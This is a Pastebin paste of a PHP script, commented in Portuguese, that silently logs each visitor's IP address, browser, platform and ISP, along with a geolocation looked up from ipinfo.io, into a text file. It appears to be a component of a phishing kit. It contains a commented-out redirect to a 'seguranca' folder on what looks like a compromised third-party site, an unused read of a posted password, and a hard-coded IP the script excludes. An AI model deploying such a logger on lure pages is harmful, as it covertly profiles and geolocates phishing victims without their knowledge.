Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php ob_start(); ?>
- <?php
- #header("Location: http://www.saninji.jp/common/js/shadowbox/install/seguranca/");
- function getBrowser()
- {
- $u_agent = $_SERVER['HTTP_USER_AGENT'];
- $bname = 'Unknown';
- $platform = 'Unknown';
- $version= "";
- if (preg_match('/linux/i', $u_agent)) {
- $platform = 'linux';
- }
- elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
- $platform = 'mac';
- }
- elseif (preg_match('/windows|win32/i', $u_agent)) {
- $platform = 'windows';
- }
- if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
- {
- $bname = 'Internet Explorer';
- $ub = "MSIE";
- }
- elseif(preg_match('/Firefox/i',$u_agent))
- {
- $bname = 'Mozilla Firefox';
- $ub = "Firefox";
- }
- elseif(preg_match('/Chrome/i',$u_agent))
- {
- $bname = 'Google Chrome';
- $ub = "Chrome";
- }
- elseif(preg_match('/Safari/i',$u_agent))
- {
- $bname = 'Apple Safari';
- $ub = "Safari";
- }
- elseif(preg_match('/Opera/i',$u_agent))
- {
- $bname = 'Opera';
- $ub = "Opera";
- }
- elseif(preg_match('/Netscape/i',$u_agent))
- {
- $bname = 'Netscape';
- $ub = "Netscape";
- }
- $known = array('Version', $ub, 'other');
- $pattern = '#(?<browser>' . join('|', $known) .
- ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
- if (!preg_match_all($pattern, $u_agent, $matches)) {
- }
- $i = count($matches['browser']);
- if ($i != 1) {
- if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
- $version= $matches['version'][0];
- }
- else {
- $version= $matches['version'][1];
- }
- }
- else {
- $version= $matches['version'][0];
- }
- if ($version==null || $version=="") {$version="?";}
- return array(
- 'userAgent' => $u_agent,
- 'name' => $bname,
- 'version' => $version,
- 'platform' => $platform,
- 'pattern' => $pattern
- );
- }
- session_start();
- $ua=getBrowser();
- $vindo = $_POST['password'];
- $useragent=$_SERVER['HTTP_USER_AGENT'];
- $ip = $_SERVER['REMOTE_ADDR'];
- if ($ip == "177.69.113.129") {
- exit;
- }
- $details = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json"));
- $arquivo = "c.txt";
- $dados = "data.txt";
- $valor = 1; // Valor agregado por visita
- $timer = time()+3600; // Duração do cookie para não contar o mesmo ip (3600s = 1h)
- $id = fopen($arquivo, "r+");
- $conteudo = fread($id,filesize($arquivo));
- fclose($id);
- if($_COOKIE['NotCont']=='') {
- $conteudo += $valor;
- $id = fopen($arquivo, "r+");
- fwrite($id, $conteudo, strlen($conteudo));
- fclose($id);
- $abrir = fopen($dados, "r+");
- $texto = file_get_contents($dados);
- $txt = $texto .
- "N.o: " . $conteudo . " --- " . $ip . "\r\n" .
- "Navegador: " . $ua['name'] . " " . $ua['version'] . " em " .$ua['platform'] . "\r\n" .
- "Cidade: " . $details->city . "\r\n" .
- "Estado: " . $details->region . "\r\n" .
- "Pais: " . $details->country . "\r\n" .
- "Operadora: " . $details->org . "\r\n" .
- "=========================================================" . "\r\n";
- fwrite($abrir, $txt, strlen($txt));
- fclose($abrir);
- SetCookie("NotCont",$_SERVER['REMOTE_ADDR'],$timer);
- } else {
- SetCookie("NotCont",$_SERVER['REMOTE_ADDR'],$timer);
- }
- exit();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement